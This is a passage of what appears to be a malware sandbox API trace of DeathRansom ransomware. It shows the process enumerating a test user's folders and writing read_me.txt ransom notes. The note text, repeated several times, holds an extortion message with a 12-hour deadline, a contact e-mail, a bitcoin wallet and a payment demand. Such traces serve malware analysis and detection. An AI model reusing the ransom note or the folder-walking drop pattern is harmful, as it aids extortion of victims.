ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0078.317] lstrcpyW (in: lpString1=0x4360058, lpString2="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents" | out: lpString1="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents") returned="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents" [0078.317] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 64 [0078.317] QueueUserWorkItem (Function=0x40a710, Context=0x4360058, Flags=0x0) returned 1 [0078.317] GetProcessHeap () returned 0x540000 [0078.317] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4370060 [0078.318] wnsprintfW (in: pszDest=0x4370060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\*") returned 48 [0078.318] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\*", lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5a3e60, ftCreationTime.dwHighDateTime=0x1d4ca39, ftLastAccessTime.dwLowDateTime=0xfb4f1640, ftLastAccessTime.dwHighDateTime=0x1d4cda1, ftLastWriteTime.dwLowDateTime=0xfb4f1640, ftLastWriteTime.dwHighDateTime=0x1d4cda1, nFileSizeHigh=0x0, nFileSizeLow=0x15ce8, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName="zAMsgYEeJI-lOB.wav", cAlternateFileName="廠疙汈㧦\x17甴\x17a")) returned 0xffffffff [0078.319] wnsprintfW (in: pszDest=0x4370060, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\read_me.txt") returned 58 [0078.319] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\read_me.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\my documents\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0078.319] GetProcessHeap () returned 0x540000 [0078.319] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4370060 | out: hHeap=0x540000) returned 1 [0078.319] lstrcpyW (in: lpString1=0x4370060, lpString2="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood" | out: lpString1="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood") returned="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood" [0078.319] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 65 [0078.319] QueueUserWorkItem (Function=0x40a710, Context=0x4370060, Flags=0x0) returned 1 [0078.319] GetProcessHeap () returned 0x540000 [0078.319] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4380068 [0078.320] wnsprintfW (in: pszDest=0x4380068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\*") returned 43 [0078.320] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\*", lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5a3e60, ftCreationTime.dwHighDateTime=0x1d4ca39, ftLastAccessTime.dwLowDateTime=0xfb4f1640, ftLastAccessTime.dwHighDateTime=0x1d4cda1, ftLastWriteTime.dwLowDateTime=0xfb4f1640, ftLastWriteTime.dwHighDateTime=0x1d4cda1, nFileSizeHigh=0x0, nFileSizeLow=0x15ce8, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName="zAMsgYEeJI-lOB.wav", cAlternateFileName="廠疙汈㧦\x17甴\x17a")) returned 0xffffffff [0078.320] wnsprintfW (in: pszDest=0x4380068, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\read_me.txt") returned 53 [0078.320] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\read_me.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\nethood\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a4 [0078.321] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0078.321] WriteFile (in: hFile=0x7a4, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17f094, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17f094*=0x6b3, lpOverlapped=0x0) returned 1 [0078.322] CloseHandle (hObject=0x7a4) returned 1 [0078.322] GetProcessHeap () returned 0x540000 [0078.322] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4380068 | out: hHeap=0x540000) returned 1 [0078.322] lstrcpyW (in: lpString1=0x4380068, lpString2="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" | out: lpString1="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" [0078.322] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 66 [0078.322] QueueUserWorkItem (Function=0x40a710, Context=0x4380068, Flags=0x0) returned 1 [0078.322] GetProcessHeap () returned 0x540000 [0078.322] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4390070 [0078.323] wnsprintfW (in: pszDest=0x4390070, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*") returned 44 [0078.323] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*", lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1aa680b0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1aa680b0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0078.323] lstrcpyW (in: lpString1=0x4390070, lpString2="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood" | out: lpString1="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood") returned="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood" [0078.323] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 67 [0078.323] QueueUserWorkItem (Function=0x40a710, Context=0x4390070, Flags=0x0) returned 1 [0078.323] GetProcessHeap () returned 0x540000 [0078.323] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x43a0078 [0078.324] wnsprintfW (in: pszDest=0x43a0078, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\*") returned 45 [0078.324] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\*", lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdecfb1a0, ftCreationTime.dwHighDateTime=0x1d4d31e, ftLastAccessTime.dwLowDateTime=0xb98e50e0, ftLastAccessTime.dwHighDateTime=0x1d4c7ca, ftLastWriteTime.dwLowDateTime=0xb98e50e0, ftLastWriteTime.dwHighDateTime=0x1d4c7ca, nFileSizeHigh=0x0, nFileSizeLow=0x16652, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName="_OAVIhPz3aVf6TJ.jpg", cAlternateFileName="廠疙汈㧦\x17甴\x17a")) returned 0xffffffff [0078.324] wnsprintfW (in: pszDest=0x43a0078, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\read_me.txt") returned 55 [0078.324] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\read_me.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\printhood\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a4 [0078.325] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0078.325] WriteFile (in: hFile=0x7a4, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17f094, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17f094*=0x6b3, lpOverlapped=0x0) returned 1 [0078.326] CloseHandle (hObject=0x7a4) returned 1 [0078.327] GetProcessHeap () returned 0x540000 [0078.327] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x43a0078 | out: hHeap=0x540000) returned 1 [0078.327] lstrcpyW (in: lpString1=0x43a0078, lpString2="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent" | out: lpString1="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent") returned="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent" [0078.327] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 68 [0078.327] QueueUserWorkItem (Function=0x40a710, Context=0x43a0078, Flags=0x0) returned 1 [0078.327] GetProcessHeap () returned 0x540000 [0078.327] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x43b0080 [0078.328] wnsprintfW (in: pszDest=0x43b0080, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\*") returned 42 [0078.328] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\*", lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdecfb1a0, ftCreationTime.dwHighDateTime=0x1d4d31e, ftLastAccessTime.dwLowDateTime=0xb98e50e0, ftLastAccessTime.dwHighDateTime=0x1d4c7ca, ftLastWriteTime.dwLowDateTime=0xb98e50e0, ftLastWriteTime.dwHighDateTime=0x1d4c7ca, nFileSizeHigh=0x0, nFileSizeLow=0x16652, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName="_OAVIhPz3aVf6TJ.jpg", cAlternateFileName="廠疙汈㧦\x17甴\x17a")) returned 0xffffffff [0078.328] wnsprintfW (in: pszDest=0x43b0080, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\read_me.txt") returned 52 [0078.328] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\read_me.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\recent\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a4 [0078.329] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0078.329] WriteFile (in: hFile=0x7a4, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17f094, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17f094*=0x6b3, lpOverlapped=0x0) returned 1 [0078.330] CloseHandle (hObject=0x7a4) returned 1 [0078.330] GetProcessHeap () returned 0x540000 [0078.330] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x43b0080 | out: hHeap=0x540000) returned 1 [0078.330] lstrcpyW (in: lpString1=0x43b0080, lpString2="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games" | out: lpString1="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games") returned="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games" [0078.330] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 69 [0078.330] QueueUserWorkItem (Function=0x40a710, Context=0x43b0080, Flags=0x0) returned 1 [0078.330] GetProcessHeap () returned 0x540000 [0078.330] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x43c0088 [0078.331] wnsprintfW (in: pszDest=0x43c0088, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*") returned 47 [0078.331] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*", lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0078.332] lstrcpyW (in: lpString1=0x43c0088, lpString2="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches" | out: lpString1="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches") returned="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches" [0078.332] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 70 [0078.332] QueueUserWorkItem (Function=0x40a710, Context=0x43c0088, Flags=0x0) returned 1 [0078.332] GetProcessHeap () returned 0x540000 [0078.332] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x43d0090 [0078.333] wnsprintfW (in: pszDest=0x43d0090, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*") returned 44 [0078.333] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*", lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0078.334] lstrcpyW (in: lpString1=0x43d0090, lpString2="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo" | out: lpString1="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo") returned="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo" [0078.334] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 71 [0078.334] QueueUserWorkItem (Function=0x40a710, Context=0x43d0090, Flags=0x0) returned 1 [0078.335] GetProcessHeap () returned 0x540000 [0078.335] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x43e0098 [0078.335] wnsprintfW (in: pszDest=0x43e0098, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\*") returned 42 [0078.335] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\*", lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName="Indexed Locations.search-ms", cAlternateFileName="廠疙汈㧦\x17甴\x17a")) returned 0xffffffff [0078.336] wnsprintfW (in: pszDest=0x43e0098, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\read_me.txt") returned 52 [0078.336] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\read_me.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\sendto\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a4 [0078.434] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0078.434] WriteFile (in: hFile=0x7a4, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17f094, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17f094*=0x6b3, lpOverlapped=0x0) returned 1 [0078.435] CloseHandle (hObject=0x7a4) returned 1 [0078.435] GetProcessHeap () returned 0x540000 [0078.435] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x43e0098 | out: hHeap=0x540000) returned 1 [0078.435] lstrcpyW (in: lpString1=0x4191078, lpString2="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu" | out: lpString1="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu") returned="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu" [0078.435] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 72 [0078.435] QueueUserWorkItem (Function=0x40a710, Context=0x4191078, Flags=0x0) returned 1 [0078.435] GetProcessHeap () returned 0x540000 [0078.435] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x43e0098 [0078.435] wnsprintfW (in: pszDest=0x43e0098, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\*") returned 46 [0078.435] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\*", lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, 